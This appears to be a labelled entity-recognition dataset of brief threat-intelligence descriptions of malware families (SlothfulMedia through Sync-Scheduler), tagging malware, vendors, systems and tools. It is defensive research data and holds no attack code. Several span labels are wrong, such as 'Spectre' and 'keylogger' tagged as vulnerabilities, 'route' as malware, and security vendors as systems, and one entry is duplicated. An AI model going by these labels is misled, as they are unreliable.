+{"text": "According to MITRE, SLOTHFULMEDIA is a remote access Trojan written in C++ that has been used by an unidentified \"sophisticated cyber actor\" since at least January 2017. It has been used to target government organizations, defense contractors, universities, and energy companies in Russia, India, Kazakhstan, Kyrgyzstan, Malaysia, Ukraine, and Eastern Europe.", "spans": {"MALWARE: SLOTHFULMEDIA": [[20, 33]], "ORGANIZATION: MITRE": [[13, 18]]}, "info": {"source": "apt_reports", "name": "SlothfulMedia"}}
+{"text": "According to ESET, SlowStepper is a feature-rich backdoor with a toolkit of more than 30 components, programmed in C++, Python, and Go.", "spans": {"MALWARE: SlowStepper": [[19, 30]], "SYSTEM: Python": [[120, 126]], "SYSTEM: ESET": [[13, 17]], "SYSTEM: Go": [[132, 134]]}, "info": {"source": "apt_reports", "name": "SlowStepper"}}
+{"text": "According to PCrisk, Smaug ransomware is available for download on the dark web: it is for sale as Ransomware as a Service (RaaS). Therefore, cyber criminals who purchase it can perform ransomware attacks without having to develop malware of this type. Smaug is designed to encrypt files, rename them and create a ransom message.", "spans": {"MALWARE: Smaug": [[21, 26], [253, 258]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "SMAUG"}}
+{"text": "According to Mandiant, SMOKEDHAM is dropped through a powershell script that contains the (C#) source code for this backdoor, which is stored in an encrypted variable. The dropper dynamically defines a cmdlet and .NET class for the backdoor, meaning the compiled code is only found in memory.", "spans": {"MALWARE: SMOKEDHAM": [[23, 32]], "TOOL: powershell": [[54, 64]], "SYSTEM: .NET": [[213, 217]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "SMOKEDHAM"}}
+{"text": "The SmokeLoader family is a generic backdoor with a range of capabilities which depend on the modules included in any given build of the malware. The malware is delivered in a variety of ways and is broadly associated with criminal activity. The malware frequently tries to hide its C2 activity by generating requests to legitimate sites such as microsoft.com, bing.com, adobe.com, and others. Typically the actual Download returns an HTTP 404 but still contains data in the Response Body.", "spans": {"DOMAIN: microsoft.com": [[346, 359]], "DOMAIN: bing.com": [[361, 369]], "DOMAIN: adobe.com": [[371, 380]], "MALWARE: SmokeLoader": [[4, 15]]}, "info": {"source": "apt_reports", "name": "SmokeLoader"}}
+{"text": "Ransomware.", "spans": {}, "info": {"source": "apt_reports", "name": "Smrss32"}}
+{"text": "Snake Ransomware is a Golang ransomware reportedly containing obfuscation not typically seen in Golang ransomware. This malware will remove shadow copies and kill processes related to SCADA/ICS devices, virtual machines, remote management tools, network management software, and others. After this, encryption of files on the device commences, while skipping Windows system folders and various system files. A random 5 character string is appended to encrypted files. According to Bleeping Computer, this ransomware takes an especially long time to encrypt files on a targeted machine. This ransomware is reported to target an entire network, rather than individual workstations.", "spans": {"MALWARE: Snake": [[0, 5]], "SYSTEM: Windows": [[359, 366]]}, "info": {"source": "apt_reports", "name": "Snake"}}
+{"text": "According to X-Force, SnakeDisk is a USB worm, dropping further payloads", "spans": {"MALWARE: SnakeDisk": [[22, 31]], "ORGANIZATION: X-Force": [[13, 20]]}, "info": {"source": "apt_reports", "name": "SnakeDisk"}}
+{"text": "According to Zscaler, SnappyClient was first observed in December 2025. It is a C++-based C2 implant with the ability to steal data and provide remote access. SnappyClient employs multiple evasion techniques to hinder endpoint security detection, including an Antimalware Scan Interface (AMSI) bypass, as well as implementing Heaven’s Gate, direct system calls, and transacted hollowing. SnappyClient receives two configuration files from the C2 server, which contain a list of actions to perform when a specified condition is met, along with another that specifies applications to target for data theft. SnappyClient uses a custom network communication protocol that encrypts all network communication using ChaCha20-Poly1305.", "spans": {"MALWARE: SnappyClient": [[22, 34], [159, 171], [388, 400], [605, 617]], "ORGANIZATION: Zscaler": [[13, 20]]}, "info": {"source": "apt_reports", "name": "SnappyClient"}}
+{"text": "Snatch is a ransomware which infects victims by rebooting the PC into Safe Mode. Most of the existing security protections do not run in Safe Mode so that it the malware can act without expected countermeasures and it can encrypt as many files as it finds. It uses common packers such as UPX to hide its payload.", "spans": {"MALWARE: Snatch": [[0, 6]], "TOOL: UPX": [[288, 291]]}, "info": {"source": "apt_reports", "name": "Snatch"}}
+{"text": "Malware observed in the SnatchCrypto campaign, attributed by Kaspersky Labs to BlueNoroff with high confidence.", "spans": {"MALWARE: SnatchCrypto": [[24, 36]], "SYSTEM: Kaspersky": [[61, 70]], "MALWARE: BlueNoroff": [[79, 89]]}, "info": {"source": "apt_reports", "name": "SnatchCrypto"}}
+{"text": "A downloader trojan with some infostealer capabilities focused on the browser. Previously observed as part of RigEK campaigns.", "spans": {}, "info": {"source": "apt_reports", "name": "SnatchLoader"}}
+{"text": "SnipVex is a virus that infects files with .exe extension via prepending itself to the host. It is written in .NET. It has a clipbanker as payload.", "spans": {"MALWARE: SnipVex": [[0, 7]], "SYSTEM: .NET": [[110, 114]]}, "info": {"source": "apt_reports", "name": "SnipVex"}}
+{"text": "Information stealer, written in Rust.", "spans": {"SYSTEM: Rust": [[32, 36]]}, "info": {"source": "apt_reports", "name": "SnowFlake Stealer"}}
+{"text": "According to ESET, this RAT was derived from (the open-source) Quasar RAT.", "spans": {"TOOL: Quasar RAT": [[63, 73]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "Sobaken"}}
+{"text": "Socelars is an infostealer with main focus on:\r\n* Facebook Stealer (ads/manager)\r\n* Cookie Stealer | AdsCreditCard {Amazon}", "spans": {"MALWARE: Socelars": [[0, 8]], "ORGANIZATION: Amazon": [[116, 122]], "ORGANIZATION: Facebook": [[50, 58]]}, "info": {"source": "apt_reports", "name": "Socelars"}}
+{"text": "Sockbot is a customized and in Go written fork of the Ligolo reverse tunneling open-source \r\ntool. Several modification were performed by the threat actors who rewrote that code, e.g. execution checks, hardcoded values.\r\nLigolo: https://github.com/sysdream/ligolo", "spans": {"URL: https://github.com/sysdream/ligolo": [[229, 263]], "MALWARE: Sockbot": [[0, 7]], "TOOL: ligolo": [[257, 263]], "SYSTEM: Go": [[31, 33]]}, "info": {"source": "apt_reports", "name": "Sockbot"}}
+{"text": "The Socks5 Systemz malware is a proxy botnet distributed via the PrivateLoader and Amadey loaders. Active since at least 2016, this botnet infects devices to use them as proxies for malicious activities, offering access for prices ranging from $1 to $140 per day in cryptocurrency. It employs a domain generation algorithm (DGA) to evade detection and enhance its resilience. Persistence is maintained through a Windows service named ContentDWSvc, with the malware injected into memory via a file called previewer.exe. To date, it has compromised approximately 10,000 devices globally, excluding Russia.", "spans": {"MALWARE: Socks5 Systemz": [[4, 18]], "SYSTEM: Windows": [[412, 419]], "MALWARE: Amadey": [[83, 89]], "MALWARE: PrivateLoader": [[65, 78]]}, "info": {"source": "apt_reports", "name": "Socks5 Systemz"}}
+{"text": "This is a RAT that is usually loaded with one or more shellcode and/or reflective DLL injection techniques. The RAT uses RC4 or a hardcoded RSA key for traffic encryption/decryption. Its communication can either happen via a raw TCP socket or a HTTP POST request. Depending on the version, the RAT may remotely execute DLLs or shellcode.", "spans": {"ORGANIZATION: RSA": [[140, 143]], "VULNERABILITY: reflective DLL injection": [[71, 95]]}, "info": {"source": "apt_reports", "name": "SodaMaster"}}
+{"text": "Unit 42 notes that they identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.\r\n\r\nSome of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims’ web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.\r\n\r\nThe malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.", "spans": {"MALWARE: SolarMarker": [[52, 63], [269, 280], [465, 476]], "TOOL: PowerShell": [[770, 780]], "ORGANIZATION: Unit 42": [[0, 7]]}, "info": {"source": "apt_reports", "name": "solarmarker"}}
+{"text": "Ransomware, written in .NET.", "spans": {"SYSTEM: .NET": [[23, 27]]}, "info": {"source": "apt_reports", "name": "SolidBit"}}
+{"text": "SoulSearcher is a second-stage loader responsible for executing the Soul backdoor main module and parsing its configuration. SoulSearcher has multiple variants based on where the configuration and payload are located and on the type of configuration.", "spans": {"MALWARE: SoulSearcher": [[0, 12], [125, 137]]}, "info": {"source": "apt_reports", "name": "SoulSearcher"}}
+{"text": "According to Cisco Talos, this is a customized shellcode loader that has been observed to stage Mimikatz and CobaltStrike.", "spans": {"TOOL: Mimikatz": [[96, 104]], "TOOL: CobaltStrike": [[109, 121]], "SYSTEM: Cisco": [[13, 18]], "ORGANIZATION: Talos": [[19, 24]], "ORGANIZATION: Cisco Talos": [[13, 24]]}, "info": {"source": "apt_reports", "name": "SoundBill"}}
+{"text": "According to ESET, Spacecolon is a collection of malware written in Delphi, consisting of ScRansom, ScHackTool, ScInstaller, ScService, and ScPatcher.", "spans": {"MALWARE: Spacecolon": [[19, 29]], "SYSTEM: ESET": [[13, 17]]}, "info": {"source": "apt_reports", "name": "SpaceColon"}}
+{"text": "SPACESHIP searches for files with a specified set of file extensions and copies them to\r\na removable drive. FireEye believes that SHIPSHAPE is used to copy SPACESHIP to a removable drive,\r\nwhich could be used to infect another victim computer, including an air-gapped computer. SPACESHIP is\r\nthen used to steal documents from the air-gapped system, copying them to a removable drive inserted\r\ninto the SPACESHIP-infected system", "spans": {"MALWARE: SPACESHIP": [[0, 9], [156, 165], [278, 287], [402, 411]], "ORGANIZATION: FireEye": [[108, 115]], "MALWARE: SHIPSHAPE": [[130, 139]]}, "info": {"source": "apt_reports", "name": "SPACESHIP"}}
+{"text": "SparkRAT is a cross-platform, open-source Remote Administration Tool (RAT) written in Go and released on GitHub in 2022. Compatible with Windows, macOS, and Linux systems, it offers extensive remote access capabilities, including file and process management, file transfer, remote desktop monitoring, system information collection, and command execution via terminal access.", "spans": {"MALWARE: SparkRAT": [[0, 8]], "SYSTEM: macOS": [[146, 151]], "SYSTEM: GitHub": [[105, 111]], "SYSTEM: Windows": [[137, 144]], "SYSTEM: Linux": [[157, 162]], "SYSTEM: Go": [[86, 88]]}, "info": {"source": "apt_reports", "name": "SparkRAT"}}
+{"text": "Spartacus is ransomware written in .NET and emerged in the first half of 2018.", "spans": {"MALWARE: Spartacus": [[0, 9]], "SYSTEM: .NET": [[35, 39]]}, "info": {"source": "apt_reports", "name": "Spartacus"}}
+{"text": "Mixed RAT and Botnet malware sold in underground forums. In march 2021 it was advertised with the  Spectre 2.0, it reached version 3 in June 2021 and then quickly version 4. This crimeware tool was being abused in malicious campaigns targeting European users in September 2021.", "spans": {"VULNERABILITY: Spectre": [[99, 106]]}, "info": {"source": "apt_reports", "name": "Spectre Rat"}}
+{"text": "According to Trend Micro, this is a tool designed to disable security products, adopting two approaches to achieve this purpose. One approach terminates the security product process by using a vulnerable driver, zamguard64.sys, published by Zemana (vulnerability designated as CVE-2018-5713). Meanwhile, another approach disables process launching by using a new technique that they named stack rumbling.", "spans": {"CVE_ID: CVE-2018-5713": [[277, 290]], "SYSTEM: Trend Micro": [[13, 24]]}, "info": {"source": "apt_reports", "name": "SPHijacker"}}
+{"text": "According to Unit 42, Splinter is a post-exploitation red team tool, written in Rust.", "spans": {"MALWARE: Splinter": [[22, 30]], "SYSTEM: Rust": [[80, 84]], "ORGANIZATION: Unit 42": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Splinter"}}
+{"text": "SpyEye is a malware targeting both Microsoft Windows browsers and Apple iOS Safari. Originated in Russia, it was available in dark forums for $500+ claiming to be the \"The Next Zeus Malware\". It performed many functionalities typical from bankers trojan such as keyloggers, auto-fill credit card modules, email backups, config files (encrypted), http access, Pop3 grabbers and FTP grabbers.  SpyEye allowed hackers to steal money from online bank accounts and initiate transactions even while valid users are logged into their bank account.", "spans": {"MALWARE: SpyEye": [[0, 6], [392, 398]], "SYSTEM: Safari": [[76, 82]], "SYSTEM: Windows": [[45, 52]], "SYSTEM: iOS": [[72, 75]], "ORGANIZATION: Microsoft": [[35, 44]], "ORGANIZATION: Apple": [[66, 71]], "MALWARE: Zeus": [[177, 181]]}, "info": {"source": "apt_reports", "name": "SpyEye"}}
+{"text": "A backdoor, capable of providing shell access, loading additional payloads, interacting remotely with the file system and processes, and taking screenshots.", "spans": {}, "info": {"source": "apt_reports", "name": "SpyGrace"}}
+{"text": "According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim’s environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.", "spans": {"MALWARE: Squirrelwaffle": [[21, 35], [288, 302], [480, 494]], "SYSTEM: Sophos": [[13, 19]]}, "info": {"source": "apt_reports", "name": "Squirrelwaffle"}}
+{"text": "According to PaloAlto, SquirtDanger is a commodity botnet malware family that comes equipped with a number of characteristics and capabilities. The malware is written in C# (C Sharp) and has multiple layers of embedded code. Once run on the system, it will persist via a scheduled task that is set to run every minute. SquirtDanger uses raw TCP connections to a remote command and control (C2) server for network communications.", "spans": {"MALWARE: SquirtDanger": [[23, 35], [319, 331]]}, "info": {"source": "apt_reports", "name": "SquirtDanger"}}
+{"text": "sRDI allows for the conversion of DLL files to position independent shellcode. It attempts to be a fully functional PE loader supporting proper section permissions, TLS callbacks, and sanity checks. It can be thought of as a shellcode PE loader strapped to a packed DLL.", "spans": {"MALWARE: sRDI": [[0, 4]]}, "info": {"source": "apt_reports", "name": "sRDI"}}
+{"text": "SSLoad is a Rust-based downloader that first emerged in January 2024 and is used to deliver secondary payloads. Early versions of the malware used a first-stage DLL that connected to a Telegram channel named 'SSLoad' to retrieve another URL. It then downloaded a compressed PE file using a hardcoded User-Agent (SSLoad/1.x) and Content-Type over HTTP. The downloaded file was then decompressed and executed directly in memory. The malware has since undergone several updates, including changes to the command-and-control (C2) communication and the supporting executables that load the malware. Recent versions of the malware bypass the first-stage DLL by loading SSLoad directly onto the victim's machine.", "spans": {"MALWARE: SSLoad": [[0, 6], [209, 215], [312, 318], [663, 669]], "SYSTEM: Rust": [[12, 16]], "SYSTEM: Telegram": [[185, 193]]}, "info": {"source": "apt_reports", "name": "SSLoad"}}
+{"text": "According to BI.ZONE, StallionRAT allows attackers to execute arbitrary commands, load additional files, and exfiltrate collected data. The malware uses a Telegram bot as their C2 server.", "spans": {"MALWARE: StallionRAT": [[22, 33]], "SYSTEM: Telegram": [[155, 163]]}, "info": {"source": "apt_reports", "name": "StallionRAT"}}
+{"text": "Potentially unwanted program that changes the startpage of browsers to induce ad impressions.", "spans": {"MALWARE: startpage": [[46, 55]]}, "info": {"source": "apt_reports", "name": "StartPage"}}
+{"text": "Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.", "spans": {}, "info": {"source": "apt_reports", "name": "STASHLOG"}}
+{"text": "This malicious software gains access to a victim’s data by appearing like an authentic Google advertisement. Once the victim clicks on the advertisement, their operating system is infected with malicious code that steals sensitive data like credentials from web browsers, credit card information, and cryptocurrency wallet details. Unauthorized access to a victim’s computer system can have enormous personal and professional repercussions. Victims become easy targets for identity theft, cryptojacking, and other forms of malware attacks. At the enterprise level, a Statc Stealer breach can result in financial loss, reputational damage, legal liabilities, and regulatory penalties.", "spans": {"MALWARE: Statc": [[567, 572]], "MALWARE: Statc Stealer": [[567, 580]], "ORGANIZATION: Google": [[87, 93]]}, "info": {"source": "apt_reports", "name": "Statc"}}
+{"text": "According to Google, this is a digitally signed downloader written in Delphi, used for in-memory deployment of Mustang Panda's PlugX.", "spans": {"THREAT_ACTOR: Mustang Panda": [[111, 124]], "ORGANIZATION: Google": [[13, 19]], "MALWARE: PlugX": [[127, 132]]}, "info": {"source": "apt_reports", "name": "STATICPLUGIN"}}
+{"text": "This is a stealer used by LockBit 2.0.", "spans": {"MALWARE: LockBit 2.0": [[26, 37]]}, "info": {"source": "apt_reports", "name": "StealBit"}}
+{"text": "Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.\r\n\r\nStealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.", "spans": {"MALWARE: Stealc": [[0, 6], [379, 385]], "MALWARE: Vidar": [[342, 347]], "MALWARE: Raccoon": [[349, 356]], "MALWARE: Mars": [[358, 362]]}, "info": {"source": "apt_reports", "name": "Stealc"}}
+{"text": "According to SecurityScorecard, Stealerium is an open-source stealer available on GitHub. The malware steals information from browsers, cryptocurrency wallets, and applications such as Discord, Pidgin, Outlook, Telegram, Skype, Element, Signal, Tox, Steam, Minecraft, and VPN clients. The binary also gathers data about the infected host, such as the running processes, Desktop and webcam screenshots, Wi-Fi networks, the Windows product key, and the public and private IP address. The stealer employs multiple anti-analysis techniques, such as detecting virtual machines, sandboxes, and malware analysis tools and checking if the process is being debugged. The malware also embedded a keylogger module and a clipper module that replaces cryptocurrency wallet addresses with the threat actor’s addresses if the victim makes a transaction. The stolen information is sent to a Discord channel using a Discord Webhook.", "spans": {"MALWARE: Stealerium": [[32, 42]], "SYSTEM: GitHub": [[82, 88]], "SYSTEM: Skype": [[221, 226]], "SYSTEM: Signal": [[237, 243]], "SYSTEM: Windows": [[422, 429]], "SYSTEM: VPN": [[272, 275]], "SYSTEM: Outlook": [[202, 209]], "SYSTEM: Telegram": [[211, 219]], "SYSTEM: Discord": [[185, 192], [875, 882], [899, 906]], "VULNERABILITY: keylogger": [[686, 695]]}, "info": {"source": "apt_reports", "name": "Stealerium"}}
+{"text": "According to PTSecurity, this stealer harvests system information which is then RC4 encrypted and Base64 encoded before sending it to the C2 server.", "spans": {}, "info": {"source": "apt_reports", "name": "Stealer0x3401"}}
+{"text": "According to Fortinet, StealthWorker is a brute-force malware that has been linked to a compromised e-commerce website with an embedded skimmer that steals personal information and payment details. Before hackers can embed a skimmer, however, the first requirement is for hackers to gain access to their target’s backend. Hacker’s commonly take advantage of vulnerabilities in the Content Management System (CMS) or its plugins to gain entry into the target’s system. Another, simpler option is to use brute force attacks. Though quite slow, this method is still effective against administrators using weak or commonly used passwords.", "spans": {"SYSTEM: Fortinet": [[13, 21]], "VULNERABILITY: brute-force": [[42, 53]], "VULNERABILITY: brute force": [[502, 513]]}, "info": {"source": "apt_reports", "name": "StealthWorker Go"}}
+{"text": "Check Point Research observed a wave of highly-targeted espionage attacks in Libya that utilize a new custom modular backdoor. Stealth Soldier malware is an undocumented backdoor that primarily operates surveillance functions such as file exfiltration, screen and microphone recording, keystroke logging and stealing browser information.", "spans": {"MALWARE: Stealth Soldier": [[127, 142]], "ORGANIZATION: Check Point": [[0, 11]], "MALWARE: Soldier": [[135, 142]]}, "info": {"source": "apt_reports", "name": "Stealth Soldier"}}
+{"text": "Malware written in .NET that hides in Steam profile pictures. Tries to evade virtualization through detection if it is executed within VMWare or VirtualBox.", "spans": {"SYSTEM: .NET": [[19, 23]]}, "info": {"source": "apt_reports", "name": "SteamHide"}}
+{"text": "According to Mandiant, STONEBOAT is an installer for DICELOADER. It is written in .NET and drops its payload in-memory.", "spans": {"MALWARE: STONEBOAT": [[23, 32]], "SYSTEM: .NET": [[82, 86]], "ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: DICELOADER": [[53, 63]]}, "info": {"source": "apt_reports", "name": "STONEBOAT"}}
+{"text": "STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.", "spans": {"MALWARE: STOP": [[0, 4]], "MALWARE: Djvu": [[5, 9]]}, "info": {"source": "apt_reports", "name": "STOP"}}
+{"text": "According to unpac.me, StormKitty is a Remote Access Trojan (RAT), written in C#, primarily designed to perform extensive system reconnaissance and data collection. It leverages Windows Management Instrumentation for execution and conducts a thorough discovery of system information, including querying the registry, identifying system owners and users, and discovering network configurations. StormKitty is also capable of collecting data from information repositories and performing file and directory discovery. For defense evasion, it employs techniques such as obfuscating files or information and checks for virtualization or sandbox environments to avoid detection. These capabilities enable StormKitty to maintain persistence and gather sensitive information from compromised systems.", "spans": {"DOMAIN: unpac.me": [[13, 21]], "SYSTEM: Windows": [[178, 185]], "MALWARE: StormKitty": [[23, 33], [394, 404], [699, 709]]}, "info": {"source": "apt_reports", "name": "StormKittyRAT"}}
+{"text": "According to Mandiant, STOWAWAY is a publicly available backdoor and proxy. The project supports several types of communication like SSH, socks5. Backdoor component supports upload and download of files, remote shell and basic information gathering.", "spans": {"MALWARE: STOWAWAY": [[23, 31]], "TOOL: SSH": [[133, 136]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "STOWAWAY"}}
+{"text": "According to PCRisk, StrelaStealer seeks to extract email account log-in credentials. At the time of writing, this program targets Microsoft Outlook and Mozilla Thunderbird email clients.\r\n\r\nFollowing successful infiltration, StrelaStealer searches for \"logins.json\" (account/password) and \"key4.db\" (password database) within the \"%APPDATA%\\Thunderbird\\Profiles\\\" directory - by doing so, it can acquire the credentials for Thunderbird.\r\n\r\nAlternatively, if Outlook credentials are targeted - StrelaStealer seeks out the Windows Registry from where it can retrieve the program's key and \"IMAP User\", \"IMAP Server\", as well as the \"IMAP Password\" values. Since the latter is kept in an encrypted form, the malicious program employs the Windows CryptUnprotectData feature to decrypt it prior to exfiltration.", "spans": {"FILEPATH: %APPDATA%\\Thunderbird\\Profiles\\\"": [[332, 364]], "MALWARE: StrelaStealer": [[21, 34], [226, 239], [494, 507]], "SYSTEM: Windows": [[522, 529], [736, 743]], "SYSTEM: Thunderbird": [[161, 172], [342, 353], [425, 436]], "SYSTEM: Outlook": [[141, 148], [459, 466]], "SYSTEM: Microsoft Outlook": [[131, 148]], "ORGANIZATION: Microsoft": [[131, 140]]}, "info": {"source": "apt_reports", "name": "StrelaStealer"}}
+{"text": "According to Mitre, StrongPity is an information stealing malware used by PROMETHIUM.", "spans": {"THREAT_ACTOR: PROMETHIUM": [[74, 84]], "THREAT_ACTOR: StrongPity": [[20, 30]]}, "info": {"source": "apt_reports", "name": "StrongPity"}}
+{"text": "Ransomware, written in Delphi.", "spans": {}, "info": {"source": "apt_reports", "name": "Sugar"}}
+{"text": "According to Mandiant, SUGARDUMP is a credential harvesting utility, capable of password collection from Chromium-based browsers. There are also versions to exfiltrate data via SMTP and HTTP.", "spans": {"MALWARE: SUGARDUMP": [[23, 32]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "SUGARDUMP"}}
+{"text": "According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.", "spans": {"ORGANIZATION: Mandiant": [[13, 21]], "MALWARE: SUGARUSH": [[23, 31]]}, "info": {"source": "apt_reports", "name": "SUGARRUSH"}}
+{"text": "According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.", "spans": {"MALWARE: SUGARUSH": [[23, 31]], "ORGANIZATION: Mandiant": [[13, 21]]}, "info": {"source": "apt_reports", "name": "SUGARUSH"}}
+{"text": "FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.", "spans": {"MALWARE: SUNBURST": [[18, 26]], "SYSTEM: SolarWinds": [[43, 53], [551, 561], [850, 860]], "ORGANIZATION: FireEye": [[0, 7]]}, "info": {"source": "apt_reports", "name": "SUNBURST"}}
+{"text": "According to PCrisk, Suncrypt ransomware prevents victims from accessing files by encryption. It also renames all encrypted files and creates a ransom message. It renames encrypted files by appending a string of random characters as the new extension.", "spans": {"MALWARE: Suncrypt": [[21, 29]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "SunCrypt"}}
+{"text": "According to Proofpoint, this is a Lua-based malware likely used by a nation-state sponsored attacker used to target European government personnel involved in managing the logistics of refugees fleeing Ukraine.", "spans": {"ORGANIZATION: Proofpoint": [[13, 23]]}, "info": {"source": "apt_reports", "name": "SunSeed"}}
+{"text": "According to CISA, SUPERNOVA is a malicious webshell backdoor that allows a remote operator to dynamically inject C# source code into a web portal to subsequently inject code. APT actors use SUPERNOVA to perform reconnaissance, conduct domain mapping, and steal sensitive information and credentials.", "spans": {"MALWARE: SUPERNOVA": [[19, 28], [191, 200]], "ORGANIZATION: CISA": [[13, 17]]}, "info": {"source": "apt_reports", "name": "SUPERNOVA"}}
+{"text": "Supper is a 64-bit Windows backdoor and tunnelling utility first observed in the wild in July 2024. This malware operates as both a Remote Access Trojan (RAT) and a SOCKS5 proxy, offering threat actors persistent access to infected systems and the ability to route arbitrary traffic through victim environments.\r\n\r\nOnce executed, it establishes a TCP connection to its primary C2 endpoint, i.e. hardcoded in the file, over port 443. A fallback mechanism allows the malware to retrieve alternate C2 IP addresses from an encoded file, %temp%/s01bafg, ensuring resilience in case the primary server is unavailable. The malware supports up to 16,384 concurrent sessions over a single TCP connection, each uniquely identified via a 16-bit session ID. \r\n\r\nCommunication begins with an unencrypted 300-byte handshake payload that includes a static bot identifier (0x00691155), system metadata (hostname, domain, OS version, integrity level), and a fixed flag. Following this, all network traffic is wrapped in a 12-byte obfuscated header and an encrypted payload (8 bytes) which consists of two encrypted IP addresses. The header is transformed using two hardcoded XOR keys: 0x4d4d4d4d4d4d4d4d and 0x4d4d4d4d. Payload encryption is performed with a non-standard, stateful XOR cipher, where each byte of the message is encrypted based on a calculated offset and a cycling key (xored with 0x4d4d4d4d) derived from the header. \r\n\r\nIt supports a range of C2 commands, including remote shell execution, session teardown, SOCKS5 proxy operations, self-deletion, and dynamic updating of fallback IPs. When executing commands, Supper spawns a hidden cmd.exe instance and forwards command outputs back to the C2 server after encryption. As a proxy, it accepts operator-specified connection requests, establishes TCP sessions to external targets, and forwards data between the target and the attacker, all managed under the session multiplexing framework.\r\n\r\nIf instructed or if a C2 session fails, the malware can delete itself using cmd.exe or schtasks.exe, often masquerading the operation under the guise of a scheduled task named \"GoogleUpdateTask\". The file used to store fallback C2 IPs (%temp%/s01bafg) is updated by the malware using its encryption routine.", "spans": {"FILEPATH: %temp%": [[533, 539], [2178, 2184]], "MALWARE: Supper": [[0, 6], [1612, 1618]], "TOOL: schtasks": [[2029, 2037]], "TOOL: cmd.exe": [[1635, 1642], [2018, 2025]], "TOOL: cmd": [[1635, 1638], [2018, 2021]], "SYSTEM: Windows": [[19, 26]], "MALWARE: route": [[259, 264]]}, "info": {"source": "apt_reports", "name": "Supper"}}
+{"text": "According to PCrisk, Surtr is ransomware. Malware of this type encrypts files (and renames them) and generates a ransom note. Surtr appends the decryptmydata@mailfence.com email address and the \".SURT\" extension to filenames.", "spans": {"EMAIL: decryptmydata@mailfence.com": [[144, 171]], "MALWARE: Surtr": [[21, 26], [126, 131]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "surtr"}}
+{"text": "According to PCrisk, SVCReady collects information about the infected system such as username, computer name, time zone, computer manufacturer, BIOS, and firmware. Also, it gathers lists of running processes and installed software. SVCReady sends collected data to the C2 server. Additionally, SVCReady attempts to maintain its foothold on the system by creating a scheduled task.", "spans": {"MALWARE: SVCReady": [[21, 29], [232, 240], [294, 302]], "SYSTEM: BIOS": [[144, 148]], "ORGANIZATION: PCrisk": [[13, 19]]}, "info": {"source": "apt_reports", "name": "SVCReady"}}
+{"text": "According to Broadcom, SVCStealer is an information stealer written in C++, targeting devices running an windows operating system. It collects sensitive information from the infected device such as system information, credentials, cryptocurrency wallets, data stored in browsers, screenshots, data from messaging applications such as Telegram or VPN apps. The collected information is compressed into a .zip archive and extracted to botnet C2 servers.", "spans": {"MALWARE: SVCStealer": [[23, 33]], "SYSTEM: VPN": [[346, 349]], "SYSTEM: Telegram": [[334, 342]], "ORGANIZATION: Broadcom": [[13, 21]]}, "info": {"source": "apt_reports", "name": "SVCStealer"}}
+{"text": "According to ESET, this is a wiper written in Go, that was deployed against an Ukrainian organization on January 25th 2023 through Group Policy, which suggests that the attackers had taken control of the victim’s Active Directory environment.", "spans": {"SYSTEM: Group Policy": [[131, 143]], "SYSTEM: ESET": [[13, 17]], "SYSTEM: Active Directory": [[213, 229]], "SYSTEM: Go": [[46, 48]]}, "info": {"source": "apt_reports", "name": "SwiftSlicer"}}
+{"text": "According to Cyfirma, Sync-Scheduler is a dedicated document stealer that targets Word documents, Excel Spreadsheets, PowerPoint presentations, PDFs and ZIP compress files. The malware is written in C++ and equipped with anti-analysis and defense evasion techniques. It uses obfuscation in its code and terminates itself if it detects an analysis environment.", "spans": {"MALWARE: Sync-Scheduler": [[22, 36]], "ORGANIZATION: Cyfirma": [[13, 20]]}, "info": {"source": "apt_reports", "name": "Sync-Scheduler"}}
